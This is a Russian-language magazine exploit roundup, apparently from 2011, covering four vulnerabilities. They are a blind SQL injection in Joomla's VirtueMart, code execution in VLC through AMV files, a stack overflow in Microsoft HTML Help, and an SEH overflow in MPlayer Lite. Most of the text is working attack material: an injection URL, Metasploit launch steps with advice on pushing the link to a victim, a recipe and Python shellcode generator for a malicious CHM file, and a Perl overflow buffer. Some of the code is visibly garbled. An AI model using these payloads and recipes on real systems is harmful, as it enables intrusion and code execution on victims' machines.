В очередном обзоре эксплойтов мы собрали для тебя самые интересные экспонаты за последний месяц. Кроме того, в рубрике небольшое изменение: теперь к каждой уязвимости прилагается CVSS v2 Base Score — стандартная для индустрии информационной безопасности шкала оценки серьезности уязвимостей.

 

SQL инъекция в JOOMLA! COM_VIRTUEMART

 

CVSSV2

  • 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
 

Brief

И вновь CMS Joomla радует нас дырой в своем компоненте. На этот раз под раздачу попал популярный скрипт интернет-магазина Virtuemart. Исследователи Стивен Сили и Рокко Келви из компании Stratsec обнаружили возможность проведения слепой SQLинъекции в этом компоненте. Успешное применение атаки позволяет получить доступ к информации в БД и может привести к полному контролю над веб-сервером.

 

Exploit

Обратимся к скрипту ‘com_virtuemart/classes/ps_module.php’ и рассмотрим функцию get_dir(), которая занимает строчки 255-270:

function get_dir($basename)
{
$datab = new ps_DB;
$results = array();
$q = "SELECT module_perms FROM #__{vm}_module where module_name='".$basename."'";
$datab->query($q);
if ($datab->next_record()) {
$results[ 'perms' ] = $datab->f("module_perms");
return $results;
}
else {
return false;
}
}

Обрати внимание на строку, в которой формируется запрос. Переменная $basename поступает туда без всякой фильтрации. Пользователь, в свою очередь, может влиять на еe содержание через GET-параметр page, что можно увидеть в скрипте ‘com_virtuemart/virtuemart_parser.php’, строки 189-210:

if( $option == "com_virtuemart" ) {
if (empty($page)) {// default page
if (defined('_VM_IS_BACKEND')) {
$page = "store.index";
{
else {
$page = HOMEPAGE;
}
}
// Let's check if the user is allowed to view the page
// if not, $page is set to ERROR_PAGE
$pagePermissionsOK = $ps_module->checkModulePermissions(
$page );

В последней строке вызывается функция checkModulePermissions() из скрипта ‘com_virtuemart/classes/ps_module.php’ с интересующим нас параметром page. В ней и происходит вызов уязвимой get_dir(), рассмотренной выше:

function checkModulePermissions( $calledPage ) {
global $page, $VM_LANG, $error_type, $vmLogger, $perm;
// "shop.browse" => module: shop, page: browse
$my_page= explode ( '.', $page );
if( empty( $my_page[1] )) {
return false;
}
$modulename = $my_page[0];
$pagename = $my_page[1];
$dir_list = $this->get_dir($modulename);

Эксплуатация этой уязвимости осложняется двумя вещами:

  1. Не выдается ошибка, если запрос неправильный (инъекция слепая).
  2. Joomla сама по себе фильтрует символы ‘<‘ и ‘>’ в запросах, поэтому при эксплуатации мы можем использовать только ‘=’ в процессе перебора символов. Это существенно повышает количество оказавшихся в логах запросов к целевому серверу.

Так как по содержанию страницы мы не можем понять, выполнился наш запрос или нет, то остается использовать технику временных задержек при проведении инъекции. Например, если мы имеем дело с MySQL 5 версии, то при таком запросе последует задержка примерно в 30-60 секунд:

http://[target]/[path]/index.php?option=com_virtuemart&
page=-1'+union+select+if(substring(@@version,1,1)=5,
benchmark(30000000,MD5('x')),null)--+fakemodule.
fakepage

В этом запросе используется классическая для техники временных задержек функция benchmark(count, expr), которая выполняет заданное количество раз (count) функцию, указанную во втором аргументе (в данном случае вычисляется хеш MD5 от буковки ‘x’). Эта функция выполняется только в том случае, если выражение ‘substring(@@version,1,1)=5’ истинно. Несложно догадаться, что это выражение сравнивает первый символ переменной @@version с 5. Если на сервере используется MySQL 4-й ветки, то в этом можно убедиться, подставив 4 вместо 5. Если после этого сервер будет тупить целую минуту — значит, наши предположения верны. Эксплойт к этой баге доступен здесь:

exploit-db.com, его ID — 17132.

Синтаксис:

./17132.py [<параметры>] -t [хост:порт] -d [директория_джумлы]

Пример использования:

./17132.py -p localhost:8080 -t 192.168.1.7 -d /webapps/joomla/

В эксплойте предусмотрено использование прокси-сервера, за это отвечает параметр ‘-p’, после которого следует указать реквизиты сервера в формате «хост:порт».

По опыту использования могу сказать, что иногда в процессе его работы возникают ложные положительные срабатывания. Они могут происходить из-за перебоев в соединении с интернетом, прокси-сервером или связи с целевым веб-сервером. Так что если в версии БД или хеше админа появляются разные спецсимволы или недопустимые буквы, то это повод прогнать эксплойт ещe раз. Кроме того, процесс работы эксплойта весьма неспешный, в среднем на извлечение инфы уходит около часа, так что одной чашкой кофе, как предлагает автор эксплойта mr_me, тут не отделаешься. Для экономии времени можно закомментировать ненужные циклы подбора в функции doBlindSqlInjection(). Например, чтобы не извлекать лишний раз информацию о БД, а сразу приступить к хешу админа, нужно закомментировать строчки 163-176.

 

Targets

  • Joomla! com_virtuemart <= v1.1.7
 

Solution

Обнови com_virtuemart до версии 1.1.8 либо поставь патч под номером 1.1.7а.

 

Исполнение произвольного кода в VLC MEDIA PLAYER

 

CVSSV2

  • 9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C)
 

Brief

Уязвимость была найдена небезызвестным Рикардо Нарваха, автором эпического руководства «Введение в крекинг с нуля, используя OllyDbg», в VLC Media Player при обработке файловых форматов AMV и NSV. Она эксплуатируется удаленно и приводит к выполнению произвольного кода с привилегиями текущего пользователя. Техника Dangling Pointer, с помощью которой эксплуатируется бага, была описана в далеком 2007 году на конференции Black Hat USA (whitepaper доступна на их сайте). Сама ошибка возникает в библиотеке libdirectx_plugin.dll при обработке 0x41-байта, если его значение больше 90. Эту библиотеку использует Internet Explorer при обработке видео формата AMV, поэтому для успешной эксплуатации достаточно зайти на специально сформированную страничку через бажный IE.

 

Exploit

С 26 марта эксплойт доступен в Metasploit Framework по адресу exploit/windows/browser/vlc_amv. Для его подготовки и запуска проделываем стандартные шаги:

# Запускаем консольку
$ msfconsole

Выбираем нужный эксплойт

use exploit/windows/browser/vlc_amv

Определяем полезную нагрузку (в данном случае запуск

исполняемого файла)
set PAYLOAD windows/exec

Определяем исполняемый файл (калькулятор)

set CMD calc.exe

Определяем целевую конфигурацию (Windows XP SP3 IE6)

set TARGET 1

Задаем функцию выхода (по умолчанию process — тут не работает)

set EXITFUNC seh

Запускаем шайтан-машину!

exploit

Напоминаю, что доступные опции можно просмотреть командой show options, полезные нагрузки — show payloads, а доступные целевые системы — show targets. Так же полезно пользоваться автодополнением, которое вызывается клавишей табуляции. После команды exploit на локальной машине запустится веб-сервер и будет дана ссылка неприметного вида, которую и нужно впарить жертве.

 

Targets

  • VLC Media Player <= 1.1.7.

Кроме того, для успешной отработки эксплоита из Metasploit Framework у жертвы должна быть одна из следующих конфигураций:

  • Windows XP SP3 + IE6;
  • Windows XP SP3 + IE7;
  • Windows Vista + IE7.
 

Solution

В конце марта стала доступна обновленная версия плеера 1.1.8, рекомендуется установка данной или более поздней версии.

 

Переполнение стека в Microsoft HTML help <= 6.1

 

CVSSV2

  • 7.2 (AV:L/AC:L/Au:N/C:C/I:C/A:C)
 

Brief

Для начала приведем выдержку из Википедии: «HTMLHelp (Microsoft Compressed HTML Help, Microsoft Compiled HTML Help, .CHM) — проприетарный формат файлов контекстной справки, разработанный корпорацией Microsoft и выпущенный в 1997 году в качестве замены формата WinHelp. Содержит в себе набор HTML-страниц, может также включать в себя содержание со ссылками на страницы, предметный указатель, а также базу для полнотекстового поиска по содержимому страниц. Все входящие в .CHM файлы сжаты алгоритмом LZX.

Для просмотра .CHM-файлов используется стандартное средство, встроенное во все версии Microsoft Windows, начиная с Windows 98, и Windows NT. Кроме того, существует ряд сторонних программпросмотровщиков, FBReader и другие. Для создания .CHM-файлов можно использовать бесплатные инструменты Microsoft HTML Help Workshop, Htm2Chm, плагины для Total Commander’a, а также другие средства».

 

Exploit

Библиотека itss.dll, подгружающаяся в адресное пространство процесса hh.exe (собственно, это и есть Microsoft HTML Help) во время открытия chm-файлов, подвержена ошибке переполнения стека.

Ошибка происходит во время декомпрессии контента, в результате отсутствия соответствующих проверок при копировании произвольного количества данных в буфер, располагающийся на стеке.

Уязвимое место в иде выглядит следующим образом (WinXP SP3):

.text:6638B251 8B 87 28 01 00 00 mov eax, [edi+128h]
.text:6638B257 03 45 0C add eax, [ebp+arg_4]
.text:6638B25A 56 ush esi
; кол-во байт, которое будем копировать
.text:6638B25B 50 push eax
; исходный буфер (декомпрессированный)
.text:6638B25C FF 75 08 push [ebp+Dst]
; буфер на стеке, куда будем копировать
.text:6638B25F E8 0B CC FE FF call l_memmove_call
; memmove (memcpy на семерке) <--- Stack overfl ow

Данные, которые копируются в этот стековый буфер, представляют собой один из декомпрессированных блоков, являющийся дампом части файлов, внедренных во входной chm-файл.

Чтобы передать управление на уязвимую область кода, необходимо изменить несколько байт после тэга «/#WINDOWS» (первый байт устанавливаем в 0 — значение меньше, чем первоначальное, следующее за ним слово устанавливаем в количество байт для копирования).

После выполнения уязвимого call’а будет записано 0x3ff7 байт из пользовательского буфера по адресу 0xb9b58 в стек по адресу 0x7f998, что, очевидно, и приведет к нехорошей ситуации.

Следует обратить внимание на тот факт, что функция l_memmove_call (являющаяся оберткой над memmove или memcpy под win7) помимо вышеприведенного уязвимого места также используется и в других дислокациях библиотеки itss.dll, что должно определенным образом побуждать интересующихся к дальнейшим исследованиям…

Алгоритм создания вредоносного chm-файла до смешного прост:

  • установить HTML Help Workshop;
  • запустить HTML Help Workshop, создать новый проект и выбрать имя проекта;
  • в мастере создания проекта отметить флажки «HTML Help table of contents (.hhc)» и «HTML files (.htm)»;
  • указать пути к test.hhc, а затем к test.htm;
  • жмакнуть на кнопку «Add/Modify window definitions», вбить в поле имени какую-нибудь ересь и затем нажать на ОК;
  • скомпилировать chm-файл (File — Compile);
  • открыть сгенерированный chm-файл в любимом hex-редакторе;
  • найти текст /#WINDOWS;
  • следовать до места после байта со значением 0x01, заменить последовательность 3-х «правильных» байт на последовательность 3-х «угодных» байт 0x00 0xff 0x7f;
  • profit.

Содержимое test.hhc:

<HTML>
<BODY>
<UL><LI>
<OBJECT type="text/sitemap">
<param name="Name" value="test">
<param name="Local" value="test.htm">
</OBJECT>
</UL>
</BODY>
</HTML>

Содержимое test.htm:

<HTML>
<BODY>
<img src="poc.gif">
</BODY>
</HTML>

В ходе проводимых экспериментов было замечено, что отладчики, работающие в 3-м кольце защиты, ведут себя возмутительнейшим образом. Неадекватность их поведения состоит в том, что под отладкой мы попадаем на переписанный в результате эксплуатации уязвимости EIP только в том случае, если этот новый EIP будет больше, чем 0x7fffffff. В противном случае необходимо догадаться до правильной 16-битной поправки (destination + 0x1c8), а также определить количество байт, которое не будет записано через доступный стек.

Вся основная соль, материализованная в виде адреса, по которому будет передаваться управление после переполнения, кроется в файле poc.gif. Ниже приведен скрипт, позволяющий генерировать данный файл. В качестве полезной нагрузки выбрана классика жанра: запуск калькулятора.

import sys
begin_of_gif = "x47x49x46x38x39x61xD8x00xD8" +
"x00xD5xFFx00" + "x90" * 6

прыжок на полезную нагрузку

nextSEHoverwrite = "xebx06x90x90"

адрес, по которому будем продолжать исполнение;

для готового варианта надо указывать адрес

последовательности инструкций pop, pop, ret

SEHoverwrite = "x81x81x81x81"
nopsled = "x90"*0x1e5

win32_exec — EXITFUNC=process CMD=calc.exe Size=164

Encoder=PexFnstenvSub

http://metasploit.com

payload = 'x31xc9x83xe9xddxd9xeexd9x74x24xf4'
payload += 'x5bx81x73x13x6fx02xb1x0ex83xebxfc'
payload += 'xe2xf4x93xeaxf5x0ex6fx02x3ax4bx53'
payload += 'x89xcdx0bx17x03x5ex85x20x1ax3ax51'
payload += 'x4fx03x5ax47xe4x36x3ax0fx81x33x71'
payload += 'x97xc3x86x71x7ax68xc3x7bx03x6exc0'
payload += 'x5axfax54x56x95x0ax1axe7x3ax51x4b'
payload += 'x03x5ax68xe4x0exfax85x30x1exb0xe5'
payload += 'xe4x1ex3ax0fx84x8bxedx2ax6bxc1x80'
payload += 'xcex0bx89xf1x3exeaxc2xc9x02xe4x42'
payload += 'xbdx85x1fx1ex1cx85x07x0ax5ax07xe4'
payload += 'x82x01x0ex6fx02x3ax66x53x5dx80xf8'
payload += 'x0fx54x38xf6xecxc2xcax5ex07x7cx69'
payload += 'xecx1cx6ax29xf0xe5x0cxe6xf1x88x61'
payload += 'xd0x62x0cx2cxd4x76x0ax02xb1x0e'
new_gif = open("poc.gif", "wb")
new_gif.write(begin_of_gif +
nextSEHoverwrite +
SEHoverwrite +
nopsled +
payload +
"xcc"*0x1000)

 

Targets

Windows (любая версия, включая Windows 7).

 

Solution

Заплатки на данный момент нет.

 

Переполнение буфера в MPLAYER LITE 33064 (SEH)

 

CVSSV2

  • 6.9 (AV:L/AC:M/Au:N/C:C/I:C/A:C)
 

Brief

Mplayer WW — предназначенный для пользователей ОС Windows фронтэнд к популярному мультиплатформенному медиапроигрывателю mplayer, воспроизводящему большинство форматов (MPEG/ VOB, AVI, Ogg/OGM, VIVO, ASF/WMA/WMV, QT/MOV/MP4, RealMedia, Matroska, NUT, NuppelVideo, FLI, YUV4MPEG, FILM, RoQ, PVA), поддерживаемых множеством встроенных, XAnim и Win32 DLL кодеков. С помощью Mplayer можно смотреть фильмы в форматах VideoCD, SVCD, DVD, 3ivx, DivX 3/4/5, WMV и даже H.264.

Другой величайшей возможностью MPlayer является большое число поддерживаемых драйверов вывода. Он работает с X11, Xv, DGA, OpenGL, SVGAlib, fbdev, AAlib, DirectFB, VESA (на любой VESAсовместимой карте, даже без X11) и некоторыми низкоуровневыми картозависимыми драйверами (для Matrox, 3Dfx и ATI), а также ты можешь использовать GGI, SDL (и все ее драйверы). Большинство из них поддерживают программное или аппаратное масштабирование, так что ты можешь наслаждаться видео в полноэкранном режиме.

MPlayer поддерживает вывод через некоторые из аппаратных MPEGдекодеров, таких как Siemens DVB, DXR2 и DXR3/Hollywood+. 19 марта 2011 года господа C4SS!0 и h1ch4m опубликовали эксплойт, реализующий уязвимость mplayer ww при парсинге m3u-файлов.
Рассмотрим его поближе.

 

Exploit

В процессе разбора m3u-файла, поданного на вход mplayer’у, уязвимым оказался вызов функции strcpy, копирующий пользовательский буфер, располагающийся по адресу 0xbc8008, в стек по адресу 0x22ebb8. В результате отсутствия каких бы то ни было проверок на размер копируемого буфера происходит переполнение стека.
Уязвимое место в иде выглядит следующим образом:

0056173E C78424 78040000> MOV DWORD PTR SS:[ESP+478],8D48E0
; ASCII "*.rar"
00561749 C78424 7C040000> MOV DWORD PTR SS:[ESP+47C],0
00561754 895C24 04 MOV DWORD PTR SS:[ESP+4],EBX
00561758 890424 MOV DWORD PTR SS:[ESP],EAX
0056175B E8 A8032900 CALL 007F1B08
; <JMP.&msvcrt.strcpy> <--- Stack overfl ow
00561760 8D9424 68020000 LEA EDX,DWORD PTR SS:[ESP+268]
00561767 C74424 04 2F000> MOV DWORD PTR SS:[ESP+4],2F

В момент переполнения перетирается адрес SEH-обработчика. В дальнейшем управление передается на адрес, которым его перезатерли, и происходит выполнение стандартного для SEH-эксплойтов кода «pop pop ret», возвращающего управление на блок Next SEH. Далее совершается прыжок вперед на nop-цепочку (nopsled), по которой мы достигаем последовательности байт «xE9xD4xEB xFFxFF», представляющей собой прыжок назад на nop-цепочку, находящуюся непосредственно перед кодом полезной нагрузки. Ну а дальше управление получает полезная нагрузка, ограниченная только лишь фантазией своего создателя. Чтобы было легче осознать всю важность момента, я набросал общую схему выполнения эксплойта.
Вырезка из POC-эксплойта:

my $buf = "x90" x 100;
$buf .= $payload;
$buf .= "x41" x (5152-length($buf));
$buf .= "xebx0fxccxcc"; # Next SEH

pop pop ret (SEH) используется адрес внутри секции данных

библиотеки avcodec-52.dll, идущей в комплекте с mplayer

lite 33064
$buf .= pack('V', 0x6B04FCDE);
$buf .= "x90" x 15;
$buf .= "xE9xD4xEBxFFxFF";
$buf .= "x90" x 400;

 

Targets

  • Mplayer Lite 33064
 

Solution

Патча, исправляющего уязвимость в процессе парсинга m3u-файла, пока что нет.

Теги:

Оставить мнение

Check Also

Эксплоиты в десятку. Обзор самых интересных докладов с мировых ИБ-конференций

В последние годы мы отучились воспринимать Windows как нечто невероятно дырявое. Эта опера…